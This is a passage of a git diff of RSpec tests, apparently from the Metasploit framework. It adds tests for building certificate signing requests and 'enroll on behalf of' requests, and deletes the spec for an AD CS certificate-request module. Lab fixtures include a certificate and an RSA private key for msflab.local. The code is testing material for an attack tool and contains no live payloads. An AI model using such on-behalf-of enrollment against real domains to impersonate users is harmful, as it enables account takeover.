"\x03\x04\x06\x08\x2b\x06\x01\x05\x05\x07\x03\x02\x06\x0a\x2b\x06\x01\x04" \ + "\x01\x82\x37\x14\x02\x01\x30\x43\x06\x09\x2b\x06\x01\x04\x01\x82\x37\x15" \ + "\x0a\x04\x36\x30\x34\x30\x0a\x06\x08\x2b\x06\x01\x05\x05\x07\x03\x04\x30" \ + "\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x0a\x03\x04\x30\x0a\x06\x08\x2b" \ + "\x06\x01\x05\x05\x07\x03\x02\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37" \ + "\x14\x02\x01\x30\x45\x06\x03\x55\x1d\x11\x04\x3e\x30\x3c\xa0\x24\x06\x0a" \ + "\x2b\x06\x01\x04\x01\x82\x37\x14\x02\x03\xa0\x16\x0c\x14\x61\x6c\x69\x64" \ + "\x64\x6c\x65\x40\x6d\x73\x66\x6c\x61\x62\x2e\x6c\x6f\x63\x61\x6c\x81\x14" \ + "\x61\x6c\x69\x64\x64\x6c\x65\x40\x6d\x73\x66\x6c\x61\x62\x2e\x6c\x6f\x63" \ + "\x61\x6c\x30\x4f\x06\x09\x2b\x06\x01\x04\x01\x82\x37\x19\x02\x04\x42\x30" \ + "\x40\xa0\x3e\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x19\x02\x01\xa0\x30\x04" \ + "\x2e\x53\x2d\x31\x2d\x35\x2d\x32\x31\x2d\x33\x34\x30\x32\x35\x38\x37\x32" \ + "\x38\x39\x2d\x31\x34\x38\x38\x37\x39\x38\x35\x33\x32\x2d\x33\x36\x31\x38" \ + "\x32\x39\x36\x39\x39\x33\x2d\x31\x31\x30\x36\x30\x44\x06\x09\x2a\x86\x48" \ + "\x86\xf7\x0d\x01\x09\x0f\x04\x37\x30\x35\x30\x0e\x06\x08\x2a\x86\x48\x86" \ + "\xf7\x0d\x03\x02\x02\x02\x00\x80\x30\x0e\x06\x08\x2a\x86\x48\x86\xf7\x0d" \ + "\x03\x04\x02\x02\x00\x80\x30\x07\x06\x05\x2b\x0e\x03\x02\x07\x30\x0a\x06" \ + "\x08\x2a\x86\x48\x86\xf7\x0d\x03\x07\x30\x0d\x06\x09\x2a\x86\x48\x86\xf7" \ + "\x0d\x01\x01\x0b\x05\x00\x03\x82\x01\x01\x00\x89\xb2\xb3\xb1\xd8\x61\x9e" \ + "\x45\x70\x58\x58\x23\x24\x43\x6c\x4f\x0a\x77\x48\x5c\x2b\xc0\xa3\xf5\x78" \ + "\x37\x7c\x58\xb1\x6c\xd8\xa8\xa3\x2f\x5b\x8e\xb9\x4d\x3b\x4a\xcd\xab\x8a" \ + "\x3b\x0e\x8a\xd8\x52\x6b\xfa\xe2\x29\xad\x22\x8d\x58\x0f\x98\x05\x61\x54" \ + "\xc3\xd9\xb0\x9c\x63\x8a\xb3\x6d\x4b\x25\x0e\x91\x20\xbe\x84\x0c\xa4\xb7" \ + "\x51\xd1\xe8\xdc\x08\xe9\xfe\x64\xf1\x86\x5a\xe8\x23\x6a\x14\xb8\xf1\x16" \ + "\x09\x27\x0d\xdc\x74\xd1\x28\x48\x90\xc5\x7f\x97\x3d\xee\x80\x34\x08\x65" \ + "\x1c\xb0\x41\xac\x4f\x99\x9e\x7d\xed\x5e\xff\xd8\x95\x71\xc4\x4a\x94\x41" \ + "\x39\xe5\x6d\x0e\x29\x7c\xb5\x3b\xc4\x11\x8f\x17\xf8\xf9\x8b\x6e\xf1\xd8" \ + "\x99\x37\xc2\x75\x0d\xc8\xcf\x01\xba\xbe\x30\x1c\xba\xac\xac\xe2\x7f\x5c" \ + "\x5a\xa7\x8d\x60\xb2\x0e\x60\x6a\x6e\x0f\x50\x47\x9e\xab\xc1\xfd\xea\xc2" \ + "\x63\xfd\xbc\xf5\x59\x5f\x61\x73\x2e\x6c\x30\x54\x1e\x92\xc1\x4f\x04\xb8" \ + "\xbf\xe8\x5d\x58\x1c\x96\x97\x21\x68\xdd\x32\xc2\x35\x88\xb4\x39\xa6\x7f" \ + "\xbc\x8d\x67\x9a\x21\x2a\x50\xa6\xcf\x4b\xbd\x0c\xe7\x81\x3e\xa0\x30\xda" \ + "\x22\xbc\x10\x30\xfa\x8b\x97\xf0\xf8\x3a\x92\xa9\x70\xac\xfc\x31\x82\x02" \ + "\x08\x30\x82\x02\x04\x02\x01\x01\x30\x5d\x30\x46\x31\x15\x30\x13\x06\x0a" \ + "\x09\x92\x26\x89\x93\xf2\x2c\x64\x01\x19\x16\x05\x6c\x6f\x63\x61\x6c\x31" \ + "\x16\x30\x14\x06\x0a\x09\x92\x26\x89\x93\xf2\x2c\x64\x01\x19\x16\x06\x6d" \ + "\x73\x66\x6c\x61\x62\x31\x15\x30\x13\x06\x03\x55\x04\x03\x13\x0c\x6d\x73" \ + "\x66\x6c\x61\x62\x2d\x44\x43\x2d\x43\x41\x02\x13\x10\x00\x00\x00\x43\x92" \ + "\xab\x33\x25\xbd\xb1\xc3\x32\x00\x00\x00\x00\x00\x43\x30\x0b\x06\x09\x60" \ + "\x86\x48\x01\x65\x03\x04\x02\x01\xa0\x81\x81\x30\x4e\x06\x0a\x2b\x06\x01" \ + "\x04\x01\x82\x37\x0d\x02\x01\x31\x40\x30\x3e\x1e\x1a\x00\x72\x00\x65\x00" \ + "\x71\x00\x75\x00\x65\x00\x73\x00\x74\x00\x65\x00\x72\x00\x6e\x00\x61\x00" \ + "\x6d\x00\x65\x1e\x20\x00\x4d\x00\x53\x00\x46\x00\x4c\x00\x41\x00\x42\x00" \ + "\x5c\x00\x73\x00\x6d\x00\x63\x00\x69\x00\x6e\x00\x74\x00\x79\x00\x72\x00" \ + "\x65\x30\x2f\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01\x09\x04\x31\x22\x04\x20" \ + "\x3f\x40\x73\xc1\x9c\x54\xeb\xbd\x4d\x4f\xab\x27\xfb\x8b\x65\x1a\x2c\x51" \ + "\x24\xf9\x97\x05\x91\x04\xaa\xf7\xbc\x6d\xfd\x07\x4d\x70\x30\x0b\x06\x09" \ + "\x2a\x86\x48\x86\xf7\x0d\x01\x01\x0b\x04\x82\x01\x00\x78\x74\xf7\xee\xef" \ + "\x89\x2f\x02\x77\xb9\xde\x87\x07\x3a\x58\x1d\x2d\xc0\xb0\x55\x33\x40\xf1" \ + "\x6f\xb6\x28\xd6\x44\xf1\xfa\x4f\xf6\x99\xe1\xdc\xb2\x2e\x49\x5b\x36\xa7" \ + "\xee\x6f\x82\x67\x27\x43\xd5\x99\x57\xc2\x83\x09\x29\xd2\xb3\x86\x9e\x6f" \ + "\x75\x78\xdb\xe3\xeb\x33\x65\xce\x7c\xd4\x8f\x65\x73\xa7\x82\xe4\x5e\x50" \ + "\xd3\xe8\x76\xd2\x43\x96\xeb\xe5\x3a\xd1\x03\x2e\xa0\x61\xd7\xf2\x6b\x9e" \ + "\x0b\x24\x11\x2a\x25\x4d\x68\x5e\x86\x9c\x9b\xe4\xaa\x6c\x5c\x5c\xfe\x54" \ + "\x26\x85\xd8\xcc\x0f\xdd\x69\x0f\xf6\xc3\x0b\x7c\xca\x23\xeb\x99\x8c\xc1" \ + "\x69\x80\x69\xd2\x14\x1b\x1b\x99\xde\x25\x59\x12\x8d\xb4\xc0\x01\x56\x32" \ + "\x91\x76\x8f\x8b\xd4\x29\x2f\x74\x3e\xca\xe0\xd1\xe8\x68\xde\x9d\x1e\x15" \ + "\xd9\x07\x41\x82\x14\x2a\xe9\x5c\x03\x81\x80\x04\xf1\x5b\xa5\xea\x21\x72" \ + "\x9d\x98\xa0\x23\x46\x25\xb7\x68\x7d\xc2\x58\x80\xfb\x1c\xbb\x76\xba\x76" \ + "\x3a\xba\x1c\xd8\x0f\xbf\x21\x36\xce\x03\x94\x8c\x13\xbd\xc7\x87\x42\x06" \ + "\x1c\x2b\xc8\x53\xd1\xa7\xba\xea\xfa\xbc\xba\x8e\xd8\x6f\x1c\x34\x28\x8b" \ + "\x87\x0d\xbf\x30\x87\xc1\x6e\xcc\x15\xb5\xd7\x2d\xe4\xe6\xa6\xaa\xe6" + ) + end + + describe '.create_csr' do + let(:result) { described_class.build_csr(private_key: pkcs12_key, cn: 'aliddle' )} + it 'return a Request object' do + expect(result).to be_a(OpenSSL::X509::Request) + end + context 'when building' do + it 'return a Request object' do + expect(result).to be_a(OpenSSL::X509::Request) + end + end + it 'should respond to #to_der' do + expect(result).to respond_to(:to_der) + end + it 'should be correct' do + expect(result.to_der).to eq(x509_csr.to_der) + end + context 'when passed a bad algorithm' do + it 'raises a RuntimeError if the algorithm does not exist' do + expect { + described_class.build_csr(private_key: pkcs12_key, + cn: 'aliddle', + algorithm: 'METASPLOIT') + }.to raise_error(RuntimeError) + end + end + end + + describe '#build_on_behalf_of' do + context 'when building' do + let(:result) { + described_class.build_on_behalf_of( + csr: x509_csr, + on_behalf_of: 'MSFLAB\\smcintyre', + cert: pkcs12_certificate, + key: pkcs12_key)} + + it 'return a ContentInfo object' do + expect(result).to be_a(Rex::Proto::CryptoAsn1::Cms::ContentInfo) + end + + it 'should respond to #to_der' do + expect(result).to respond_to(:to_der) + end + + it 'should be correct' do + expect(result.to_der).to eq(content_info.to_der) + end + end + end + + context 'when passed a bad algorithm' do + it 'raises a RuntimeError if the algorithm does not exist' do + expect { + described_class.build_on_behalf_of( + csr: x509_csr, + on_behalf_of: 'MSFLAB\\smcintyre', + cert: pkcs12_certificate, + key: pkcs12_key, + algorithm: 'METASPLOIT' + ) + }.to raise_error(RuntimeError) + end + it 'raises an ArgumentError if the algorithm exists but can not be mapped to an OID' do + expect { + described_class.build_on_behalf_of( + csr: x509_csr, + on_behalf_of: 'MSFLAB\\smcintyre', + cert: pkcs12_certificate, + key: pkcs12_key, + algorithm: 'MD4' + ) + }.to raise_error(ArgumentError) + end + end + + # --------------------------------------------------------------------------- + describe '.create_csr' do + it 'returns an OpenSSL::X509::Request' do + expect(described_class.create_csr(pkcs12_key, 'testuser')).to be_a(OpenSSL::X509::Request) + end + + it 'sets the CN in the subject' do + result = described_class.create_csr(pkcs12_key, 'testuser') + cn_entry = result.subject.to_a.find { |oid, _value, _type| oid == 'CN' } + expect(cn_entry[1]).to eq('testuser') + end + + it 'embeds the correct public key' do + result = described_class.create_csr(pkcs12_key, 'testuser') + expect(result.public_key.to_der).to eq(pkcs12_key.public_key.to_der) + end + + it 'produces a CSR that verifies with the private key' do + result = described_class.create_csr(pkcs12_key, 'testuser') + expect(result.verify(pkcs12_key.public_key)).to be true + end + + it 'uses SHA256 by default' do + result = described_class.create_csr(pkcs12_key, 'testuser') + expect(result.signature_algorithm).to eq('sha256WithRSAEncryption') + end + + it 'uses the provided algorithm' do + result = described_class.create_csr(pkcs12_key, 'testuser', 'SHA512') + expect(result.signature_algorithm).to eq('sha512WithRSAEncryption') + end + + it 'yields the request to the block before signing' do + yielded_request = nil + described_class.create_csr(pkcs12_key, 'testuser') { |req| yielded_request = req } + expect(yielded_request).to be_a(OpenSSL::X509::Request) + end + + it 'produces a valid CSR even when the block does not modify the request' do + result = described_class.create_csr(pkcs12_key, 'testuser') { |_req| } + expect(result.verify(pkcs12_key.public_key)).to be true + end + end + + # --------------------------------------------------------------------------- + describe '.build_csr — subject, key and signature' do + let(:result) { described_class.build_csr(cn: 'alice', private_key: pkcs12_key) } + + it 'sets the CN in the subject' do + cn_entry = result.subject.to_a.find { |oid, _value, _type| oid == 'CN' } + expect(cn_entry[1]).to eq('alice') + end + + it 'embeds the correct public key' do + expect(result.public_key.to_der).to eq(pkcs12_key.public_key.to_der) + end + + it 'produces a CSR that verifies with the private key' do + expect(result.verify(pkcs12_key.public_key)).to be true + end + + it 'uses SHA256 by default' do + expect(result.signature_algorithm).to eq('sha256WithRSAEncryption') + end + end + + describe '.build_csr — algorithm' do + it 'uses SHA512 when requested' do + result = described_class.build_csr(cn: 'alice', private_key: pkcs12_key, algorithm: 'SHA512') + expect(result.signature_algorithm).to eq('sha512WithRSAEncryption') + end + + it 'produces a valid SHA512-signed CSR' do + result = described_class.build_csr(cn: 'alice', private_key: pkcs12_key, algorithm: 'SHA512') + expect(result.verify(pkcs12_key.public_key)).to be true + end + + it 'uses SHA1 when requested' do + result = described_class.build_csr(cn: 'alice', private_key: pkcs12_key, algorithm: 'SHA1') + expect(result.signature_algorithm).to eq('sha1WithRSAEncryption') + end + end + + describe '.build_csr — extensions' do + context 'with no optional params' do + it 'does not add an extReq attribute' do + result = described_class.build_csr(cn: 'alice', private_key: pkcs12_key) + expect(result.attributes.map(&:oid)).not_to include('extReq') + end + end + + context 'with dns:' do + let(:result) { described_class.build_csr(cn: 'alice', private_key: pkcs12_key, dns: 'host.example.com') } + + it 'adds an extReq attribute' do + expect(result.attributes.map(&:oid)).to include('extReq') + end + + it 'embeds the DNS name in the CSR' do + expect(result.to_der).to include('host.example.com') + end + + it 'still produces a verifiable CSR' do + expect(result.verify(pkcs12_key.public_key)).to be true + end + end + + context 'with msext_upn:' do + let(:result) { described_class.build_csr(cn: 'alice', private_key: pkcs12_key, msext_upn: 'alice@example.com') } + + it 'adds an extReq attribute' do + expect(result.attributes.map(&:oid)).to include('extReq') + end + + it 'embeds the UPN in the CSR' do + expect(result.to_der).to include('alice@example.com') + end + + it 'still produces a verifiable CSR' do + expect(result.verify(pkcs12_key.public_key)).to be true + end + end + + context 'with application_policies:' do + let(:policy_oid) { '1.3.6.1.5.5.7.3.2' } + let(:result) { described_class.build_csr(cn: 'alice', private_key: pkcs12_key, application_policies: [policy_oid]) } + + it 'adds an extReq attribute' do + expect(result.attributes.map(&:oid)).to include('extReq') + end + + it 'embeds the policy OID in the CSR' do + policy_oid_der = OpenSSL::ASN1::ObjectId.new(policy_oid).to_der + expect(result.to_der).to include(policy_oid_der) + end + + it 'still produces a verifiable CSR' do + expect(result.verify(pkcs12_key.public_key)).to be true + end + end + + context 'with multiple application policies' do + let(:policy_oids) { ['1.3.6.1.5.5.7.3.2', '1.3.6.1.5.5.7.3.4'] } + let(:result) { described_class.build_csr(cn: 'alice', private_key: pkcs12_key, application_policies: policy_oids) } + + it 'embeds all policy OIDs in the CSR' do + policy_oids.each do |oid| + expect(result.to_der).to include(OpenSSL::ASN1::ObjectId.new(oid).to_der) + end + end + end + + context 'with dns: and msext_upn: combined' do + let(:result) do + described_class.build_csr( + cn: 'alice', + private_key: pkcs12_key, + dns: 'host.example.com', + msext_upn: 'alice@example.com' + ) + end + + it 'embeds both the DNS name and the UPN' do + expect(result.to_der).to include('host.example.com') + expect(result.to_der).to include('alice@example.com') + end + end + end + + # --------------------------------------------------------------------------- + describe '#build_on_behalf_of — algorithm variants' do + it 'accepts SHA512 and returns a ContentInfo' do + result = described_class.build_on_behalf_of( + csr: x509_csr, + on_behalf_of: 'MSFLAB\\smcintyre', + cert: pkcs12_certificate, + key: pkcs12_key, + algorithm: 'SHA512' + ) + expect(result).to be_a(Rex::Proto::CryptoAsn1::Cms::ContentInfo) + end + + it 'produces serialisable output with SHA512' do + result = described_class.build_on_behalf_of( + csr: x509_csr, + on_behalf_of: 'MSFLAB\\smcintyre', + cert: pkcs12_certificate, + key: pkcs12_key, + algorithm: 'SHA512' + ) + expect { result.to_der }.not_to raise_error + end + + it 'accepts SHA1 and returns a ContentInfo' do + result = described_class.build_on_behalf_of( + csr: x509_csr, + on_behalf_of: 'MSFLAB\\smcintyre', + cert: pkcs12_certificate, + key: pkcs12_key, + algorithm: 'SHA1' + ) + expect(result).to be_a(Rex::Proto::CryptoAsn1::Cms::ContentInfo) + end + end + + describe '#build_on_behalf_of — encapsulated content' do + let(:result) do + described_class.build_on_behalf_of( + csr: x509_csr, + on_behalf_of: 'MSFLAB\\smcintyre', + cert: pkcs12_certificate, + key: pkcs12_key + ) + end + + it 'embeds the original CSR DER in the output' do + expect(result.to_der).to include(x509_csr.to_der) + end + + it 'embeds the on_behalf_of username in the signed attributes' do + # The username is encoded as a BMPString (UCS-2 big-endian) in the EnrollmentNameValuePair + ucs2_username = 'MSFLAB\\smcintyre'.encode('UTF-16BE').b + expect(result.to_der).to include(ucs2_username) + end + end +end diff --git a/spec/modules/auxiliary/admin/dcerpc/icpr_cert_spec.rb b/spec/modules/auxiliary/admin/dcerpc/icpr_cert_spec.rb deleted file mode 100644 index 337fa680d8..0000000000 --- a/spec/modules/auxiliary/admin/dcerpc/icpr_cert_spec.rb +++ /dev/null @@ -1,371 +0,0 @@ -require 'rspec' -require 'rex/proto/kerberos/model/pkinit' - -RSpec.describe 'dcerpc icpr_cert' do - include_context 'Msf::UIDriver' - include_context 'Msf::Simple::Framework#modules loading' - - let(:subject) do - load_and_create_module( - module_type: 'auxiliary', - reference_name: 'admin/dcerpc/icpr_cert' - ) - end - - let(:pkcs12_certificate) do - OpenSSL::X509::Certificate.new(<<~CERTIFICATE) - -----BEGIN CERTIFICATE----- - MIIGyDCCBbCgAwIBAgITEAAAAEOSqzMlvbHDMgAAAAAAQzANBgkqhkiG9w0BAQsF - ADBGMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxFjAUBgoJkiaJk/IsZAEZFgZtc2Zs - YWIxFTATBgNVBAMTDG1zZmxhYi1EQy1DQTAeFw0yMjExMDIyMTI4NDZaFw0yMzEx - MDIyMTI4NDZaMHsxFTATBgoJkiaJk/IsZAEZFgVsb2NhbDEWMBQGCgmSJomT8ixk - ARkWBm1zZmxhYjEOMAwGA1UEAxMFVXNlcnMxFTATBgNVBAMTDEFsaWNlIExpZGRs - ZTEjMCEGCSqGSIb3DQEJARYUYWxpZGRsZUBtc2ZsYWIubG9jYWwwggEiMA0GCSqG - SIb3DQEBAQUAA4IBDwAwggEKAoIBAQDjPSFrdevPYsMZMueAwrSqpyYbLGlvXRA9 - j2x7D/gUVZI7O01j6CpMWZ3vbxktL/69Y3VRI2WGu/vLaaIJtmtdjyJSMCLZebfg - 6KpvO1O7U5gAKYwyk0+vb8KNypUzYT/b+yIcrmyiFjn4IwwU2BDk+dWLrJ1rbg0l - l1GO6wop1AzMe0gb7yMnR4L4q0E2Tad8hAkL6rhmwJZgbqn1A4eyy+4XBeIg36SD - jIZBd34CE7qgt/vf4mfpeKt3VJmEIthnX5AEM850fN6nbwVgJYtzzpY6LEGoU3Nx - idRhBzG7iwQm5PoHc6BDNytnwBsSFWq2Fllmk7sS6jZ+IB7wdB3nAgMBAAGjggN4 - MIIDdDAdBgNVHQ4EFgQUc3dLxeMuOboY7Mcradkczp07hCowHwYDVR0jBBgwFoAU - uZJmsmi7m0bYQV3LFra6OLKxeNAwgcYGA1UdHwSBvjCBuzCBuKCBtaCBsoaBr2xk - YXA6Ly8vQ049bXNmbGFiLURDLUNBLENOPURDLENOPUNEUCxDTj1QdWJsaWMlMjBL - ZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPW1z - ZmxhYixEQz1sb2NhbD9jZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2Jq - ZWN0Q2xhc3M9Y1JMRGlzdHJpYnV0aW9uUG9pbnQwgb8GCCsGAQUFBwEBBIGyMIGv - MIGsBggrBgEFBQcwAoaBn2xkYXA6Ly8vQ049bXNmbGFiLURDLUNBLENOPUFJQSxD - Tj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1 - cmF0aW9uLERDPW1zZmxhYixEQz1sb2NhbD9jQUNlcnRpZmljYXRlP2Jhc2U/b2Jq - ZWN0Q2xhc3M9Y2VydGlmaWNhdGlvbkF1dGhvcml0eTAOBgNVHQ8BAf8EBAMCBaAw - PQYJKwYBBAGCNxUHBDAwLgYmKwYBBAGCNxUIgfjYFYbPvgqC9Z0sgZzVVILrlEwX - hei+d4bf3X4CAWQCAQQwNQYDVR0lBC4wLAYIKwYBBQUHAwQGCisGAQQBgjcKAwQG - CCsGAQUFBwMCBgorBgEEAYI3FAIBMEMGCSsGAQQBgjcVCgQ2MDQwCgYIKwYBBQUH - AwQwDAYKKwYBBAGCNwoDBDAKBggrBgEFBQcDAjAMBgorBgEEAYI3FAIBMEUGA1Ud - EQQ+MDygJAYKKwYBBAGCNxQCA6AWDBRhbGlkZGxlQG1zZmxhYi5sb2NhbIEUYWxp - ZGRsZUBtc2ZsYWIubG9jYWwwTwYJKwYBBAGCNxkCBEIwQKA+BgorBgEEAYI3GQIB - oDAELlMtMS01LTIxLTM0MDI1ODcyODktMTQ4ODc5ODUzMi0zNjE4Mjk2OTkzLTEx - MDYwRAYJKoZIhvcNAQkPBDcwNTAOBggqhkiG9w0DAgICAIAwDgYIKoZIhvcNAwQC - AgCAMAcGBSsOAwIHMAoGCCqGSIb3DQMHMA0GCSqGSIb3DQEBCwUAA4IBAQCJsrOx - 2GGeRXBYWCMkQ2xPCndIXCvAo/V4N3xYsWzYqKMvW465TTtKzauKOw6K2FJr+uIp - rSKNWA+YBWFUw9mwnGOKs21LJQ6RIL6EDKS3UdHo3Ajp/mTxhlroI2oUuPEWCScN - 3HTRKEiQxX+XPe6ANAhlHLBBrE+Znn3tXv/YlXHESpRBOeVtDil8tTvEEY8X+PmL - bvHYmTfCdQ3IzwG6vjAcuqys4n9cWqeNYLIOYGpuD1BHnqvB/erCY/289VlfYXMu - bDBUHpLBTwS4v+hdWByWlyFo3TLCNYi0OaZ/vI1nmiEqUKbPS70M54E+oDDaIrwQ - MPqLl/D4OpKpcKz8 - -----END CERTIFICATE----- - CERTIFICATE - end - - let(:pkcs12_key) do - OpenSSL::PKey::RSA.new(<<~KEY) - -----BEGIN RSA PRIVATE KEY----- - MIIEpAIBAAKCAQEA4z0ha3Xrz2LDGTLngMK0qqcmGyxpb10QPY9sew/4FFWSOztN - Y+gqTFmd728ZLS/+vWN1USNlhrv7y2miCbZrXY8iUjAi2Xm34OiqbztTu1OYACmM - MpNPr2/CjcqVM2E/2/siHK5sohY5+CMMFNgQ5PnVi6yda24NJZdRjusKKdQMzHtI - G+8jJ0eC+KtBNk2nfIQJC+q4ZsCWYG6p9QOHssvuFwXiIN+kg4yGQXd+AhO6oLf7 - 3+Jn6Xird1SZhCLYZ1+QBDPOdHzep28FYCWLc86WOixBqFNzcYnUYQcxu4sEJuT6 - B3OgQzcrZ8AbEhVqthZZZpO7Euo2fiAe8HQd5wIDAQABAoIBAEGT5a4eZMP/q2/9 - OcP17K+G9z9GTNMfl008s8C79grgOwgu8AGSAYrxHdv4QtrAjBJZvoSA447Dd0HX - pTSKWWexo+T2EUiTkNYuLulUxLA9ypLZaqU5z/hAF3RV70LZoNU6HzkJuT35jhcm - /hiR1iZOVyss0G0tYEvl5FqLR+6TwQ+fT1LIszXvX0Fmhz2Lpun90LLBH4qqsrKs - 5eFFEXetwJu4oyoM3yGEWTVJagGRC8grf4mWoh8+7ZPkMVUTgV05Z//AhdDDhPhx - VV8YK/F20NTdRn+FNYSMW3IlzT7ezYn6B8SteFmN+WHBhgV2Bcdz4T8WuOjU5m8h - SOs+KOkCgYEA/YXqnmirjdSHyBl1RGNDe2+BcR5KFIPimhSpbM5vjb9/i9mjHA94 - MkLsMXVp28AugFZ3mQY20JvNOEssNtybsLXeV9GDAbP6tZaONdHUSTqnpygxglZX - xda6vKBsoPUQIRjMUCqSGFW/ZLlkbT5Xr/wudJiQ73zJ/qbHuW+fIQUCgYEA5XV5 - hIQ6LROVajdKViikBpbEKFwNyarFqDGgAh6QzI4hPeBn8iTy+C69O8048ahp8K4g - m71PjWyLPMZtQ+zAZDOScojaAhsOt+UPId/BEBCkorTTWolVm8uJ/kjx9cF8FgiJ - /NA1V+qRHZ/SdRzmmpYKe0EJk59cGKeU7WToJvsCgYEAsfguSWGE/J1za/6jGYzt - NFuEbJosutYSXsOeY+lO2hzSNqRjIjGh2Patw9J+q2rvudv5PQzlse+NUrVCpoib - KqOhH9jNtIZZutujnRhdg8KPKoLGro5aM2GX2Q5s81jVJ8a2tpgL0tVu9BBI9X9M - IxhOrD7lj5j0W7VMg1peRNkCgYBBoVUtgwiExhoxdDkN5bfsrojSpmnHKdI5JmCG - 2qk96NU3No1kpA7ez7eOeEd2T15l2dg303ECmW5F5tdv2zK4NkwH+H6qpYSTMrAe - VzqIVspQQ3pEZg2XbyM8GS8jxMCyKKUXK5JmYBA7se/nUWngA1RiJpsPn0AfSSd+ - syL3qwKBgQD423ueq9DouleYCK1tpFGZSyCQ8ER/X0zv92g9v6ecRLTrwhdCe2o8 - aW/QRplhZZFK4XYtwn4BlD+IYylbIUZwyD6HIHE3xCkADuSTFwhyDdzet1+oaSxO - C31WYyAVgMWh7+0BJbAY2x7yVa0+1XQn0i2TpVQgaUx9/SNBaLeDoA== - -----END RSA PRIVATE KEY----- - KEY - end - - let(:x509_csr) do - OpenSSL::X509::Request.new(<<~REQUEST) - -----BEGIN CERTIFICATE REQUEST----- - MIICVzCCAT8CAQAwEjEQMA4GA1UEAwwHYWxpZGRsZTCCASIwDQYJKoZIhvcNAQEB - BQADggEPADCCAQoCggEBAOM9IWt1689iwxky54DCtKqnJhssaW9dED2PbHsP+BRV - kjs7TWPoKkxZne9vGS0v/r1jdVEjZYa7+8tpogm2a12PIlIwItl5t+Doqm87U7tT - mAApjDKTT69vwo3KlTNhP9v7IhyubKIWOfgjDBTYEOT51YusnWtuDSWXUY7rCinU - DMx7SBvvIydHgvirQTZNp3yECQvquGbAlmBuqfUDh7LL7hcF4iDfpIOMhkF3fgIT - uqC3+9/iZ+l4q3dUmYQi2GdfkAQzznR83qdvBWAli3POljosQahTc3GJ1GEHMbuL - BCbk+gdzoEM3K2fAGxIVarYWWWaTuxLqNn4gHvB0HecCAwEAAaAAMA0GCSqGSIb3 - DQEBCwUAA4IBAQAyU7goEqpmHfulRkaMAtna+7mpVdUsuGXidsP2AFyDmiBOUtR/ - gQoXeTwWQ62vKSmD0+gSnxDbokq4T8hif/cR8WZ1jZQXE0JR9FPI/qGs/6D5e56S - b7W3buC6UuON58pJmtrX7PtNUGg0FOn6jGB1jwEHtc+4sel24j7VMfzt3nuY/KTD - abGLQioi9iaVEbJ6pKmBaHGcEswFiqGBGWI1zrSVIYyNy67SK3/P3RWyHHNJeS2a - x7RMqHkWOXXjxqbM68i6tCL+2NstTzXI6mQkXWkOXU8d39wn/MqLyPdY0ZM7Lv/y - i506vK8iofDDYoHxz8YwaPU1DOCfu+T83nPg - -----END CERTIFICATE REQUEST----- - REQUEST - end - - let(:content_info) do - Rex::Proto::CryptoAsn1::Cms::ContentInfo.parse( - "\x30\x82\x0b\x71\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01\x07\x02\xa0\x82\x0b" \ - "\x62\x30\x82\x0b\x5e\x02\x01\x03\x31\x0d\x30\x0b\x06\x09\x60\x86\x48\x01" \ - "\x65\x03\x04\x02\x01\x30\x82\x02\x6c\x06\x07\x2b\x06\x01\x05\x02\x03\x01" \ - "\xa0\x82\x02\x5f\x04\x82\x02\x5b\x30\x82\x02\x57\x30\x82\x01\x3f\x02\x01" \ - "\x00\x30\x12\x31\x10\x30\x0e\x06\x03\x55\x04\x03\x0c\x07\x61\x6c\x69\x64" \ - "\x64\x6c\x65\x30\x82\x01\x22\x30\x0d\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01" \ - "\x01\x01\x05\x00\x03\x82\x01\x0f\x00\x30\x82\x01\x0a\x02\x82\x01\x01\x00" \ - "\xe3\x3d\x21\x6b\x75\xeb\xcf\x62\xc3\x19\x32\xe7\x80\xc2\xb4\xaa\xa7\x26" \ - "\x1b\x2c\x69\x6f\x5d\x10\x3d\x8f\x6c\x7b\x0f\xf8\x14\x55\x92\x3b\x3b\x4d" \ - "\x63\xe8\x2a\x4c\x59\x9d\xef\x6f\x19\x2d\x2f\xfe\xbd\x63\x75\x51\x23\x65" \ - "\x86\xbb\xfb\xcb\x69\xa2\x09\xb6\x6b\x5d\x8f\x22\x52\x30\x22\xd9\x79\xb7" \ - "\xe0\xe8\xaa\x6f\x3b\x53\xbb\x53\x98\x00\x29\x8c\x32\x93\x4f\xaf\x6f\xc2" \ - "\x8d\xca\x95\x33\x61\x3f\xdb\xfb\x22\x1c\xae\x6c\xa2\x16\x39\xf8\x23\x0c" \ - "\x14\xd8\x10\xe4\xf9\xd5\x8b\xac\x9d\x6b\x6e\x0d\x25\x97\x51\x8e\xeb\x0a" \ - "\x29\xd4\x0c\xcc\x7b\x48\x1b\xef\x23\x27\x47\x82\xf8\xab\x41\x36\x4d\xa7" \ - "\x7c\x84\x09\x0b\xea\xb8\x66\xc0\x96\x60\x6e\xa9\xf5\x03\x87\xb2\xcb\xee" \ - "\x17\x05\xe2\x20\xdf\xa4\x83\x8c\x86\x41\x77\x7e\x02\x13\xba\xa0\xb7\xfb" \ - "\xdf\xe2\x67\xe9\x78\xab\x77\x54\x99\x84\x22\xd8\x67\x5f\x90\x04\x33\xce" \ - "\x74\x7c\xde\xa7\x6f\x05\x60\x25\x8b\x73\xce\x96\x3a\x2c\x41\xa8\x53\x73" \ - "\x71\x89\xd4\x61\x07\x31\xbb\x8b\x04\x26\xe4\xfa\x07\x73\xa0\x43\x37\x2b" \ - "\x67\xc0\x1b\x12\x15\x6a\xb6\x16\x59\x66\x93\xbb\x12\xea\x36\x7e\x20\x1e" \ - "\xf0\x74\x1d\xe7\x02\x03\x01\x00\x01\xa0\x00\x30\x0d\x06\x09\x2a\x86\x48" \ - "\x86\xf7\x0d\x01\x01\x0b\x05\x00\x03\x82\x01\x01\x00\x32\x53\xb8\x28\x12" \ - "\xaa\x66\x1d\xfb\xa5\x46\x46\x8c\x02\xd9\xda\xfb\xb9\xa9\x55\xd5\x2c\xb8" \ - 